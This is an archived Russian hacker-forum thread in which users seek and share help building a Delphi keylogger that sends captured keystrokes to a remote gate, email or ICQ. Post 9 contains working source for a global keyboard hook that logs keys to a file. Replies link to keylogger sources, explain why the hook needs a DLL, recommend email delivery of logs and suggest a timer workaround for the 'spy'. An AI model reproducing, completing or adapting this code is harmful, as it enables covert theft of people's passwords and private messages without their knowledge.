Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

кейлоГГер на delphi7

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> кейлоГГер на delphi7
Имя
Сообщение << Старые топики   Новые топики >>
кейлоГГер на delphi7 - 2008-12-31 22:45:02.883333   
treemout

Сообщений: 17
Оценки: 0
Присоединился: 2008-12-30 18:31:38.580000
мне нужно сделать кейлоггер и чтобы отсылал логи на гейт или мыло,аську!
если у кого есть исходник кейлоггера или готовый кейлогкоторый отсылал бы логи прошу выложить в теме!
заранее благодарен :)
Post #: 1
RE: кейлоГГер на delphi7 - 2009-01-01 00:41:08.410000   
VENOM4X

Сообщений: 246
Оценки: 0
Присоединился: 2008-02-18 22:49:08.960000
Вот тебе примеры простых кейлоггеров из книги Зайцева «ROOTKITS, SPYWARE/ADWARE, KEYLOGGERS & BACKDOORS: обнаружение и защита» (3 на Delphi, 2 на Си): http://slil.ru/26499987
Плюс возьми TICQClient здесь http://progs.volkov.spb.su/ticqclient/ (думаю, что с асей тебе будет легче разобратся чем с гейтом)
Скрути всё вместе и будет тебе счастье ;-)
Post #: 2
RE: кейлоГГер на delphi7 - 2009-01-01 02:12:48.873333   
Unconnected

Сообщений: 158
Оценки: 0
Присоединился: 2008-09-11 22:02:01.983333
VENOM4X, где всю книжку можно взять? ;)
Post #: 3
RE: кейлоГГер на delphi7 - 2009-01-01 03:05:00.716666   
VENOM4X

Сообщений: 246
Оценки: 0
Присоединился: 2008-02-18 22:49:08.960000
Например здесь http://up.fastfile.ru/2071483

P.S. В архиме среди прочих примеров есть и реальный руткит, который палится антивирями, поэтому может будет на архив ругатся.

P.P.S. Книга скорее относится к анализу угроз и методам защиты. Автор книги - создатель AVZ.
Post #: 4
RE: кейлоГГер на delphi7 - 2009-01-01 14:31:00.906666   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
думаю с асей будет хуже с ее сменами протокола…. лучше отсылка по почте - работает отлично!

а вот кейлог
http://www.delphisources.ru/pages/sources/system/2005_year/key_logger.html
Post #: 5
RE: кейлоГГер на delphi7 - 2009-01-01 15:36:05.123333   
treemout

Сообщений: 17
Оценки: 0
Присоединился: 2008-12-30 18:31:38.580000
VENOM4X,Unconnected,VaZoNeZ спасиба вам, с наступившим…
Post #: 6
RE: кейлоГГер на delphi7 - 2009-01-01 21:20:18.506666   
Unconnected

Сообщений: 158
Оценки: 0
Присоединился: 2008-09-11 22:02:01.983333
Сам заинтересовался этой темой, вот толковая статья тоже..
Post #: 7
RE: кейлоГГер на delphi7 - 2009-01-01 21:55:37.310000   
treemout

Сообщений: 17
Оценки: 0
Присоединился: 2008-12-30 18:31:38.580000
quote:

Сам заинтересовался этой темой, вот толковая статья тоже..

спс хорошая статья
Post #: 8
RE: кейлоГГер на delphi7 - 2009-01-05 04:08:00.663333   
RUNETCHICK

Сообщений: 9
Оценки: 0
Присоединился: 2008-12-12 16:05:13.866666
Люди, почему не работает кейлоггер:unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  SaveExitProc: Pointer;
  HKey: hHook=0;
  f: Text;

implementation

{$R *.dfm}

function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
begin
  if (code>=0) and (lParam and $40000000 = 0) then
  begin
    assign(f, 'C:\1.txt');
    if fileexists('C:\1.txt') then append(f) else rewrite(f);
    writeln(f, chr(wParam));
    close(f)
  end;
  Result:=CallNextHookEx(HKey, Code, wParam, lParam)
end;

procedure StartKey;
begin
  HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
end;

procedure RemoveHookKey;
begin
  if HKey<>0 then
  begin
    UnhookWindowsHookEx(HKey);
    HKey:=0
  end
end;

procedure RemoveAllHooks;
begin
  RemoveHookKey;
  ExitProc:=SaveExitProc
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  RemoveAllHooks
end;

begin
  SaveExitProc:=ExitProc;
  ExitProc:=@RemoveAllHooks;
  StartKey
end.
Вообще он работает, но только на половину. Например, если окно моего приложения активно - то работает. Как только окно потеряет фокус и если нажать любую клавишу, то программа не работает. Даже если потом опять сделать окно своего приложения активным.
Я вот вроде программу понимаю, только не пойму для чего тут ExitProc, SaveExitProc. Всмысле с какой целью их тут используют. И нужны ли они вообще?
И второе, что мне не понятно: почему все так советуют писать кейлоггер именно в dll'ке, почему нельзя в обычной программе, как, например, тут?
Вообще этот код он изначально был в библиотеке, но я решил сделать все в одной программе. Теперь ничего не работает. Помогите довести дело до конца, чтобы все работало и без всяких dll, если такое возможно. Если нет, то объясните, почему без dll'ок обойтись нельзя?
Заранее спасибо!
Post #: 9
RE: кейлоГГер на delphi7 - 2009-01-05 12:26:16.773333   
Stil Free

Сообщений: 598
Оценки: 0
Присоединился: 2008-11-02 16:07:14.136666
VaZoNeZ огромное спасибо:)))))))))
Post #: 10
RE: кейлоГГер на delphi7 - 2009-01-05 12:39:01.530000   
spikky

Сообщений: 211
Оценки: 0
Присоединился: 2008-10-26 14:50:23.676666
quote:

Если нет, то объясните, почему без dll'ок обойтись нельзя?

24 урок от Iczelion'a:
quote:

  • Локальные хуки пеpехватывают события, котоpые случаются в пpоцессе, созданном вам.
  • Удаленные хуки пеpехватывают события, котоpые случаются в дpугих пpоцессах.[/ul]…
  • Вы должны понимать, как pаботают хуки, чтобы использовать их эффективно. Когда вы создадаете хук, Windows создает в памяти стpуктуpы данных, котоpая содеpжит инфоpмацию о хуке, и добавляет ее в связанный список уже существующих хуков. Hовый хук добавляется пеpед всеми стаpыми хуками. Когда случается событие, то если вы установили локальный хук, вызывается фильтpующая функция в вашем пpоцессе, поэтому тут все пpосто. Hо если вы установили удаленный хук, система должна вставить код хук-пpоцедуpы в адpесное пpостpанство дpугого пpоцесса. Система может сделать это только, если функция находится в DLL. Таким обpазом, если вы хотите испольовать удаленный хук, ваша хук-пpоцедуpа должна находиться в DLL.

    Post #: 11
    RE: кейлоГГер на delphi7 - 2009-01-05 12:52:04.456666   
    treemout

    Сообщений: 17
    Оценки: 0
    Присоединился: 2008-12-30 18:31:38.580000
    RUNETCHICK, скачай исходник здесь http://www.delphisources.ru/pages/sources/system/2005_year/key_logger.html
    Post #: 12
    RE: кейлоГГер на delphi7 - 2009-01-05 14:25:14.213333   
    spikky

    Сообщений: 211
    Оценки: 0
    Присоединился: 2008-10-26 14:50:23.676666
    quote:

    RUNETCHICK, скачай исходник здесь http://www.delphisources.ru/pages/sources/system/2005_year/key_logger.html

    Выше уже была дана ссылка на этот исходник. Зачем повторять?
    Post #: 13
    RE: кейлоГГер на delphi7 - 2009-01-06 12:43:57.250000   
    Format_C

    Сообщений: 97
    Оценки: 0
    Присоединился: 2008-07-09 13:14:54.146666
    RUNETCHICK попробуй засунуть код программы в таймер с интервалом равным около 200…
    это очень некорректно, но для простого кейлогера подойдет, я так, помнится, давно делал.
    есть правда небольшое "но": если пользователь печатает быстро, то шпион будет плохо работать, но если медленно или с нормальной скоростью, то все будет норм. изменяй интервал
    Post #: 14
    Страниц:  [1]
    Все форумы >> [Компилируемые языки] >> кейлоГГер на delphi7







    Связаться:
    Вопросы по сайту / xakep@glc.ru

    Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.